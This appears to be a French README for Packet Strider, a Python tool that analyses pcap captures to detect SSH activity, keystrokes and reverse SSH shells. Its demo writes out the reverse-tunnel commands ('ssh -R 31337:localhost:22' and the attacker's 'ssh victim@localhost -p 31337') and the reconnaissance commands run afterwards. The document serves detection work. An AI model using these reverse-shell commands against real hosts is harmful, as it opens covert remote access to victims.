Pour commencer

Python3 a été utilisé, et vous aurez besoin des modules suivants (YMMV sur python2)

pip3 install pandas matplotlib pyshark

Utilisation :

python3 packetStrider-ssh.py -h

Sortie :

Exemple

Le pcap "forward_reverse.pcap" provient d’une TTP courante de shell SSH inverse, un favori des équipes rouges partout. Plus précisément, les commandes suivantes ont été utilisées, pour mettre en évidence les capacités de packet strider de manière simple :

• Connexion forward depuis la victime

  • La commande pour la session forward était ssh [email protected] -R 31337:localhost:22 qui lie le port local 31337 prêt pour la connexion SSH inverse vers le PC victime. Cette connexion peut être réalisée de nombreuses manières, y compris manuellement, par une RCE, SSRF, ou une forme de persistance. Pour les besoins de cette démo, il s’agit d’une session forward manuelle standard.
  • Ce n’était PAS la première fois que le client voyait le serveur, nous le constatons car le delta pour les paquets associés était très petit, l’empreinte de la clé du serveur était déjà dans le known_hosts du client, donc l’utilisateur n’a pas été invité à l’ajouter – ce qui aurait augmenté la latence des paquets.
  • Deux échecs consécutifs de connexion par mot de passe par un humain, suivis d’une connexion réussie avec un mot de passe de 8 caractères ou plus.
  • ls est tapé dans la session forward, dans cette séquence : 'l' 'w' 'w' 'back-space' 'back-space' 's' puis entrée. La taille totale des données transmises sur le réseau (comme sortie de ls) est classée comme infiltration, étant donné qu’elle est entrante.

• Maintenant sur la machine de l’attaquant (le serveur), un shell inverse est initié vers la victime :

  • ssh victim@localhost -p 31337. À ce stade, qui est avant même que le processus d’authentification ne commence, packet strider a identifié l’initiation de la session SSH inverse, au paquet 72
  • Maintenant l’attaquant dispose d’un shell inverse sur l’hôte victime. À partir de là, ils peuvent désactiver les paramètres d’historique et exécuter tout mouvement latéral ou méfaits de pillage qu’ils souhaitent. Les exemples simples de cette démo sont une reconnaissance utilisateur initiale.
  • last est exécuté sous forme de frappes 'l' 'a' 's' 'r' 'delete' 't' 'entrée'
  • who est exécuté sous forme de 'w' 'h' 'o' 'entrée'
  • exit est exécuté sous forme de 'e' 'x' 'i' 't'

• Enfin, avec la session forward, la session est fermée, juste pour démontrer que la détection de la fonctionnalité SSH forward fonctionne toujours.

  • exit

Le trafic réseau de cette activité est enregistré dans tcpdump.pcap et il est maintenant temps d’exécuter Packet Strider.

python3 packetStrider-ssh.py -f tcpdump.pcap -k -p -o out

Ce graphique montre une chronologie des prédictions clés (l’image a été annotée ici)

Ce graphique montre quelques statistiques de fenêtre, utiles pour une analyse approfondie et l’expérimentation des caractéristiques.

Ce graphique montre un histogramme simple

Inspiration

Ce projet a été réalisé comme une preuve de concept personnelle, comme un moyen pour moi de m’entraîner avec certaines bibliothèques de science des données en Python, il a été fortement inspiré par mes études Coursera en apprentissage automatique et science des données, en particulier la bibliothèque pandas et la façon dont les réseaux de neurones convolutifs (CNN) « stride » (parcourent) les ensembles de pixels d’image en utilisant des fenêtres glissantes pour détecter certaines caractéristiques à l’intérieur.

Conseils

Packet Strider effectue une grande quantité de « parcours » (striding) en mode pleine capacité. Cela peut entraîner une utilisation substantielle des ressources si le pcap est volumineux, ou plus précisément s’il y a beaucoup de paquets dans le pcap. Voici quelques conseils d’accélération, particulièrement utiles pour un premier passage par exemple juste pour voir si une activité SSH inverse a été prédite, puis ajouter des fonctionnalités si vous le souhaitez.

• Assurez-vous d’exécuter avec les derniers correctifs des modules qui effectuent des tâches lourdes, par exemple pyshark/tshark, pandas et matplotlib.
• L’option -p --predict_plot est l’opération la plus intensive. Pensez à simplement exécuter avec la sortie vers le terminal, puis voyez si vous souhaitez que cela soit tracé.
• Utilisez l’option -m --metaonly. Cela ne récupère que les métadonnées de haut niveau telles que les noms de protocole et les données HASSH. Cela peut être utile pour déterminer rapidement si vous avez affaire à une session interactive utilisant OpenSSH, ou à un client de transfert de fichiers comme Cyberduck.
• Pré-filtrez le pcap au trafic ssh.
• Pré-filtrez le pcap au flux que vous voulez, que vous avez peut-être appris en exécutant auparavant avec l’option rapide -m --metaonly. Vous pouvez examiner uniquement le flux « NSTREAM » avec l’option « -n NSTREAM », ou pré-filtrer avec wireshark etc.
• Il peut arriver que vous identifiiez quelque chose d’intéressant dans un sous-ensemble d’un très grand ensemble de paquets. Vous pouvez alors utiliser la fonction de zoom pour n’examiner et tracer que les paquets de la région qui vous intéresse. Utilisez -z ZOOM, --zoom ZOOM pour cela. par exemple -z 100-500
• La plupart du temps, vous serez intéressé par la compréhension de l’activité des frappes clavier, donc bien que ne pas utiliser l’option -k économise de la vitesse de traitement, cela signifie aussi que vous n’obtiendrez pas cet aperçu précieux.

À FAIRE

• Plus de protocoles !
• Examiner le multithreading et voir où cela peut aider la vitesse de traitement.
• Améliorer l’efficacité du script, en particulier les temps de tracé.
• Améliorer l’indicateur de collage
• Améliorer l’indicateur de touche haut/bas
• Annoter les graphiques avec imagemagick ou similaire
• Améliorer la fonction de rapport, écrire sur le disque.
• L’indicateur de touche inverse est conservateur car l’encapsulation des paquets peut potentiellement signaler deux frappes. Ce problème n’existe pas pour les frappes forward, car l’ordre des paquets a été traité au cas où ils arriveraient dans le désordre. Examiner les options ici.
• Porter vers golang pour la vitesse
• Mode temps réel
• Examiner l’effet de tunnels supplémentaires de ports locaux sur la connexion forward.

Avertissement

Utilisation à vos propres risques. Voir les termes de la licence.